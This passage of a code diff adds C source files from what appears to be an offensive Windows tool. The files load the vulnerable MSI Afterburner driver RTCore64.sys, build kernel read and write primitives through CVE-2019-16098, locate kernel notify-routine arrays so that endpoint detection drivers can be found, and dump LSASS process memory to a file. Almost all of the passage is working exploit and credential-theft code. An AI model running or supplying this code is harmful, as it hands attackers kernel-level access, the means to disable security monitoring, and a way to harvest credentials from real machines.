||||
SET_ACCESS,
|
||||
NO_INHERITANCE,
|
||||
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
|
||||
};
|
||||
|
||||
if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
|
||||
oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded);
|
||||
if (oldSd) {
|
||||
if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
|
||||
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) {
|
||||
|
||||
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
|
||||
status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd);
|
||||
LocalFree(newSd);
|
||||
}
|
||||
|
||||
FreeSid(ForEveryoneACL.Trustee.ptstrName);
|
||||
}
|
||||
}
|
||||
LocalFree(oldSd);
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
|
||||
SC_HANDLE hSC = NULL, hS = NULL;
|
||||
|
||||
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
|
||||
if (hSC) {
|
||||
hS = OpenService(hSC, serviceName, SERVICE_START);
|
||||
if (hS) {
|
||||
_tprintf(TEXT("[+] \'%s\' service already registered\n"), serviceName);
|
||||
}
|
||||
|
||||
else {
|
||||
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
|
||||
_tprintf(TEXT("[*] \'%s\' service not present\n"), serviceName);
|
||||
|
||||
hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL);
|
||||
|
||||
if (hS) {
|
||||
_tprintf(TEXT("[+] \'%s\' service successfully registered\n"), serviceName);
|
||||
if (ServiceAddEveryoneAccess(hS)) {
|
||||
_tprintf(TEXT("[+] \'%s\' service ACL to everyone\n"), serviceName);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] ServiceAddEveryoneAccess"));
|
||||
}
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("CreateService"));
|
||||
}
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenService"));
|
||||
}
|
||||
}
|
||||
|
||||
if (hS) {
|
||||
if (startIt) {
|
||||
if (StartService(hS, 0, NULL)) {
|
||||
_tprintf(TEXT("[+] \'%s\' service started\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
|
||||
_tprintf(TEXT("[*] \'%s\' service already started\n"), serviceName);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("StartService"));
|
||||
return GetLastError();
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
|
||||
return GetLastError();
|
||||
}
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
|
||||
BOOL status = FALSE;
|
||||
SC_HANDLE hSC, hS;
|
||||
SERVICE_STATUS serviceStatus;
|
||||
|
||||
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
|
||||
if (hSC) {
|
||||
hS = OpenService(hSC, serviceName, dwDesiredAccess);
|
||||
if (hS) {
|
||||
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) {
|
||||
|
||||
// Used as a stop point for recursive calls to ServiceUninstall.
|
||||
if (attemptCount > MAX_UNINSTALL_ATTEMPTS) {
|
||||
_tprintf(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
|
||||
_tprintf(TEXT("[+] \'%s\' service stopped\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
|
||||
_tprintf(TEXT("[*] \'%s\' service not running\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) {
|
||||
_tprintf(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName);
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
|
||||
SERVICE_STATUS status;
|
||||
BOOL deleted = FALSE;
|
||||
SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
|
||||
if (hSC) {
|
||||
SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE);
|
||||
if (hS) {
|
||||
if (QueryServiceStatus(hS, &status)) {
|
||||
if (!(status.dwCurrentState == SERVICE_STOPPED)) {
|
||||
CloseServiceHandle(hS);
|
||||
CloseServiceHandle(hSC);
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
else {
|
||||
deleted = DeleteService(hS);
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
if (!deleted) {
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
return deleted;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
|
||||
--- Vulnerable Micro-Star MSI Afterburner driver install / uninstall functions.
|
||||
--- The "RTCore64.sys" (SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD) file must be present in the current directory if --driver is not specified.
|
||||
|
||||
*/
|
||||
|
||||
BOOL InstallVulnerableDriver(TCHAR* driverPath) {
|
||||
const TCHAR svcDesc[] = TEXT("");
|
||||
|
||||
DWORD status = ServiceInstall(gVulnDriverServiceName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE);
|
||||
|
||||
if (status == 0x00000005) {
|
||||
_tprintf(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?\n"));
|
||||
}
|
||||
|
||||
return status == 0x0;
|
||||
}
|
||||
|
||||
BOOL UninstallVulnerableDriver() {
|
||||
BOOL status = ServiceUninstall(gVulnDriverServiceName, 0);
|
||||
|
||||
if (!status) {
|
||||
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
/*
|
||||
|
||||
--- ntoskrnl.exe / wdigest.dll version compute functions.
|
||||
|
||||
*/
|
||||
|
||||
#include "FileVersion.h"
|
||||
|
||||
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
|
||||
DWORD verHandle = 0;
|
||||
UINT size = 0;
|
||||
LPVOID lpBuffer = NULL;
|
||||
|
||||
DWORD verSize = GetFileVersionInfoSize(filename, &verHandle);
|
||||
|
||||
if (verSize != 0) {
|
||||
LPTSTR verData = (LPTSTR)calloc(verSize, 1);
|
||||
|
||||
if (!verData) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve version data\n"));
|
||||
return;
|
||||
}
|
||||
|
||||
if (GetFileVersionInfo(filename, 0, verSize, verData)) {
|
||||
if (VerQueryValue(verData, TEXT("\\"), &lpBuffer, &size)) {
|
||||
if (size) {
|
||||
VS_FIXEDFILEINFO* verInfo = (VS_FIXEDFILEINFO*)lpBuffer;
|
||||
if (verInfo->dwSignature == 0xfeef04bd) {
|
||||
DWORD majorVersion = (verInfo->dwFileVersionLS >> 16) & 0xffff;
|
||||
DWORD minorVersion = (verInfo->dwFileVersionLS >> 0) & 0xffff;
|
||||
_stprintf_s(buffer, bufferLen, TEXT("%ld-%ld"), majorVersion, minorVersion);
|
||||
// _tprintf(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
free(verData);
|
||||
}
|
||||
}
|
||||
|
||||
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
// Compute ntoskrnl.exe path.
|
||||
TCHAR ntoskrnlPath[MAX_PATH] = { 0 };
|
||||
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), systemDirectory);
|
||||
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), TEXT("\\ntoskrnl.exe"));
|
||||
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath);
|
||||
_stprintf_s(ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer);
|
||||
}
|
||||
|
||||
void GetWdigestVersion(TCHAR* wdigestVersion) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
// Compute ntoskrnl.exe path.
|
||||
TCHAR wdigestPath[MAX_PATH] = { 0 };
|
||||
_tcscat_s(wdigestPath, _countof(wdigestPath), systemDirectory);
|
||||
_tcscat_s(wdigestPath, _countof(wdigestPath), TEXT("\\wdigest.dll"));
|
||||
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath);
|
||||
|
||||
_stprintf_s(wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer);
|
||||
}
|
||||
@@ -0,0 +1,178 @@
|
||||
/*
|
||||
|
||||
--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
|
||||
--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
|
||||
|
||||
*/
|
||||
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
|
||||
static_assert(sizeof(struct RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
|
||||
static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
|
||||
static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
|
||||
|
||||
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
|
||||
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
|
||||
MemoryRead.Address = Address;
|
||||
MemoryRead.ReadSize = Size;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
DeviceIoControl(Device,
|
||||
RTCORE64_MEMORY_READ_CODE,
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&BytesReturned,
|
||||
NULL);
|
||||
|
||||
return MemoryRead.Value;
|
||||
}
|
||||
|
||||
void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
|
||||
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
|
||||
MemoryRead.Address = Address;
|
||||
MemoryRead.ReadSize = Size;
|
||||
MemoryRead.Value = Value;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
DeviceIoControl(Device,
|
||||
RTCORE64_MEMORY_WRITE_CODE,
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&BytesReturned,
|
||||
NULL);
|
||||
}
|
||||
|
||||
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address) {
|
||||
return ReadMemoryPrimitive(Device, 1, Address) & 0xff;
|
||||
}
|
||||
|
||||
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
|
||||
return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
|
||||
}
|
||||
|
||||
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
|
||||
return ReadMemoryPrimitive(Device, 4, Address) & 0xffffffff;
|
||||
}
|
||||
|
||||
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
|
||||
return ((DWORD64)(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
|
||||
}
|
||||
|
||||
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
|
||||
Value = (currentValue & 0xFFFFFFFFFFFFFFF0) | (Value);
|
||||
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||
}
|
||||
|
||||
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
|
||||
Value = (currentValue & 0xFFFFFFFFFFFFFF00) | (Value);
|
||||
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||
}
|
||||
|
||||
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
--- Kernel exploitation helpers.
|
||||
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
|
||||
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
|
||||
|
||||
*/
|
||||
|
||||
DWORD64 FindNtoskrnlBaseAddress(void) {
|
||||
DWORD cbNeeded = 0;
|
||||
LPVOID drivers[1024];
|
||||
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
||||
return (DWORD64)drivers[0];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
TCHAR* FindDriver(DWORD64 address, BOOL verbose) {
|
||||
|
||||
LPVOID drivers[1024];
|
||||
DWORD cbNeeded;
|
||||
int cDrivers = 0;
|
||||
int i = 0;
|
||||
TCHAR szDriver[1024] = { 0 };
|
||||
DWORD64 minDiff = MAXDWORD64;
|
||||
DWORD64 diff;
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
||||
cDrivers = cbNeeded / sizeof(drivers[0]);
|
||||
for (i = 0; i < cDrivers; i++) {
|
||||
if ((DWORD64)drivers[i] <= address) {
|
||||
diff = address - (DWORD64)drivers[i];
|
||||
if (diff < minDiff) {
|
||||
minDiff = diff;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
|
||||
|
||||
if (verbose) {
|
||||
_tprintf(TEXT("[+] %016llx [%s + 0x%llx]\n"), address, szDriver, minDiff);
|
||||
}
|
||||
|
||||
TCHAR* const ptrDrvier = (LPTSTR)calloc(1024, sizeof(TCHAR));
|
||||
|
||||
if (!ptrDrvier) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve the driver pointer\n"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
_tcscpy_s(ptrDrvier, 1024, szDriver);
|
||||
return ptrDrvier;
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
HANDLE GetDriverHandle() {
|
||||
TCHAR service[MAX_PATH] = { 0 };
|
||||
TCHAR suffix[] = TEXT("\\\\.\\");
|
||||
_tcsncat_s(service, _countof(service), suffix, _countof(suffix));
|
||||
_tcsncat_s(service, _countof(service), gVulnDriverServiceName, _tcslen(gVulnDriverServiceName));
|
||||
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
|
||||
if (Device == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return Device;
|
||||
}
|
||||
|
||||
DWORD64 GetFunctionAddress(LPCSTR function) {
|
||||
DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress();
|
||||
DWORD64 address = 0;
|
||||
HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe"));
|
||||
if (ntoskrnl) {
|
||||
DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl);
|
||||
address = ntoskrnlBaseAddress + offset;
|
||||
FreeLibrary(ntoskrnl);
|
||||
}
|
||||
// _tprintf(TEXT("[+] %s address: 0x%I64x\n"), function, address);
|
||||
return address;
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
/*
|
||||
|
||||
--- ntoskrnl Notify Routines' offsets search functions using patterns.
|
||||
--- Ultimately not used because too unreliable and too prone to BSoD.
|
||||
|
||||
*/
|
||||
|
||||
#include "KernelPatternSearch.h"
|
||||
|
||||
DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) {
|
||||
for (DWORD i = 0; i < bytesToScan; i++) {
|
||||
DWORD64 instructionAddress = startAddress + i;
|
||||
DWORD64 dword64Instruction = ReadMemoryDWORD64(Device, instructionAddress);
|
||||
DWORD64 dword64InstructionFixed = dword64Instruction & mask;
|
||||
// _tprintf(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed);
|
||||
if (dword64InstructionFixed == pattern) {
|
||||
_tprintf(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed);
|
||||
return instructionAddress;
|
||||
}
|
||||
}
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) {
|
||||
DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(Device, instructionStartAddress + instructionRelativeAddressOffset);
|
||||
DWORD64 nextInstructionAddress = instructionStartAddress + nextInstructionOffset;
|
||||
return nextInstructionAddress + procedureRelativeAddress;
|
||||
}
|
||||
|
||||
DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void) {
|
||||
_tprintf(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern\n"));
|
||||
HANDLE Device = GetDriverHandle();
|
||||
|
||||
// Extracting PspSetCreateProcessNotifyRoutine address in PsSetCreateProcessNotifyRoutine using the pattern "E8" (CALL) to match "[e80e010000] call nt!PspSetCreateProcessNotifyRoutine".
|
||||
DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetFunctionAddress("PsSetCreateProcessNotifyRoutine");
|
||||
DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
|
||||
DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateProcessNotifyRoutineAddress, 1, 5);
|
||||
|
||||
// Extracting PspCreateProcessNotifyRoutine address in PspSetCreateProcessNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[4c8d2d371ddaff] lea r13,[nt!PspCreateProcessNotifyRoutine".
|
||||
DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateProcessNotifyRoutineAddress, 3, 7);
|
||||
_tprintf(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return PspCreateProcessNotifyRoutineAddress;
|
||||
}
|
||||
|
||||
DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void) {
|
||||
_tprintf(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern\n"));
|
||||
HANDLE Device = GetDriverHandle();
|
||||
|
||||
// Extracting nt!PspSetCreateThreadNotifyRoutine address in nt!PsSetCreateThreadNotifyRoutine using the pattern "E8" (CALL) to match "[e865000000] call nt!PspSetCreateThreadNotifyRoutine".
|
||||
DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetFunctionAddress("PsSetCreateThreadNotifyRoutine");
|
||||
DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
|
||||
DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateThreadNotifyRoutineAddress, 1, 5);
|
||||
|
||||
// Extracting nt!PspCreateThreadNotifyRoutine address in nt!PspSetCreateThreadNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[488d0d431cdaff] lea rcx,[nt!PspCreateThreadNotifyRoutine]".
|
||||
DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateThreadNotifyRoutineAddress, 3, 7);
|
||||
_tprintf(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return PspCreateThreadNotifyRoutineAddress;
|
||||
}
|
||||
|
||||
DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void) {
|
||||
_tprintf(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern\n"));
|
||||
HANDLE Device = GetDriverHandle();
|
||||
|
||||
// Extracting nt!PspLoadImageNotifyRoutine address directly from nt!PsSetLoadImageNotifyRoutineEx using the pattern "4C 8D" (LEA 4C) to match "[488d0d981ddaff] lea rcx,[nt!PspLoadImageNotifyRoutine]".
|
||||
DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetFunctionAddress("PsSetLoadImageNotifyRoutineEx");
|
||||
DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspLoadImageNotifyRoutineAddress, 3, 7);;
|
||||
_tprintf(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return PspLoadImageNotifyRoutineAddress;
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
/*
|
||||
|
||||
--- LSASS dump functions.
|
||||
|
||||
*/
|
||||
|
||||
#include "LSASSDump.h"
|
||||
|
||||
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
|
||||
{
|
||||
LUID luid;
|
||||
BOOL bRet = FALSE;
|
||||
|
||||
if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid))
|
||||
{
|
||||
TOKEN_PRIVILEGES tp;
|
||||
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;
|
||||
|
||||
if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
|
||||
{
|
||||
bRet = (GetLastError() == ERROR_SUCCESS);
|
||||
}
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
|
||||
DWORD WINAPI dumpLSASSProcess(void* data) {
|
||||
HANDLE hProcessSnap;
|
||||
HANDLE hProcess;
|
||||
PROCESSENTRY32 pe32;
|
||||
DWORD dwPriorityClass;
|
||||
|
||||
TCHAR* outputDump = (TCHAR*)data;
|
||||
|
||||
//Enable the SeDebugPrivilege
|
||||
HANDLE hToken;
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
|
||||
{
|
||||
SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
// Take a snapshot of all processes in the system.
|
||||
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Set the size of the structure before using it.
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
// Retrieve information about the first process,
|
||||
// and exit if unsuccessful
|
||||
if (!Process32First(hProcessSnap, &pe32)) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: obtained invalid process handle\n")); // show cause of failure
|
||||
CloseHandle(hProcessSnap); // clean the snapshot object
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Now walk the snapshot of processes, and look for lsass.
|
||||
do {
|
||||
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe"))) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Retrieve the priority class.
|
||||
dwPriorityClass = 0;
|
||||
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
|
||||
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't open lsass memory (OpenProcess)\n"));
|
||||
return 1;
|
||||
}
|
||||
|
||||
else {
|
||||
dwPriorityClass = GetPriorityClass(hProcess);
|
||||
if (!dwPriorityClass) {
|
||||
_tprintf(TEXT("[!] LSASS dump non fatal error: couldn't retrieve LSASS process' priority class (GetPriorityClass)\n"));
|
||||
}
|
||||
HANDLE hDumpFile = CreateFile(outputDump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hDumpFile == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't create dump file (CreateFileA)\n"));
|
||||
return 1;
|
||||
}
|
||||
BOOL dumped = MiniDumpWriteDump(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
|
||||
if (!dumped) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't dump LSASS process (MiniDumpWriteDump)\n"));
|
||||
return 1;
|
||||
}
|
||||
_tprintf(TEXT("[+] LSASS sucessfully dump to: %s\n"), outputDump);
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
|
||||
} while (Process32Next(hProcessSnap, &pe32));
|
||||
|
||||
CloseHandle(hProcessSnap);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
/*
|
||||
|
||||
